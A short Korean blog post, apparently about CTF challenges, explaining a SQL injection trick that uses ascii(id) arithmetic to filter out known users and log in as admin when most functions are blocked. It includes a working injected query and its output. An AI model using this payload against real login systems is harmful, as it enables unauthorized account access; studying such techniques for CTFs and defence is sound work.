최근 대회 Write-Up들을 둘러보다가 알게된 기법에 대해 글을 쓰려고 한다.
먼저 테이블의 구성은 아래와 같다.
(문제의 환경은 대부분의 함수가 필터링되고 admin으로 로그인을 하는 것이다.)
member 테이블
id |
pw |
guest |
guest123 |
test |
test123 |
admin | admin123 |
SELECT ascii(id) FROM member;
->
ascii(id) |
103 |
116 |
97 |
전체의 id에 대해 ascii 변환을 시도하면 id의 첫번째 부분들만 ascii변환이 진행된다.
이를 통해 아래와 같은 쿼리를 통해 admin으로 로그인을 시도할 수 있다.
(파란 부분이 사용자의 입력이 들어간 부분)
SELECT * FROM member where id='' or ascii(id)-103&ascii(id)-116#' and pw=''
->
id |
pw |
admin |
admin123 |
ascii(id)-103 = guest의 g 부분 과
ascii(id)-116 = test의 t 부분을 제외한 나머지 id, 즉 admin 만 남게된다.
물론 id 또는 pw 의 첫번째 글자를 알고있는 제한적인 상황에서 사용이 가능하지만 대부분의 id 또는 pw의
첫번째 글자가 a-z 범위 내에 있으므로 브루트포싱으로 충분히 유추해 낼 수 있다.
ascii 뿐만아니라 hex, ord 등 다른 함수를 통해서도 가능하다.
admin으로 로그인을 해야하지만 limit, order by 등 대부분의 함수들이 막혀있고
단 하나만의 문자열 함수만 쓸 수 있는 상황일 때 유용하게 쓸 수 있을 듯 하다.
'Security' 카테고리의 다른 글
Stripped 된 바이너리의 Symbol 정보찾는법 (0) | 2015.02.21 |
---|---|
Pyc Decompiler (0) | 2015.02.09 |
List of Apache dirs (0) | 2015.01.17 |
HTTP 상태코드 (0) | 2014.11.01 |
MSSQL Error Based SQL Injection (3) | 2014.10.24 |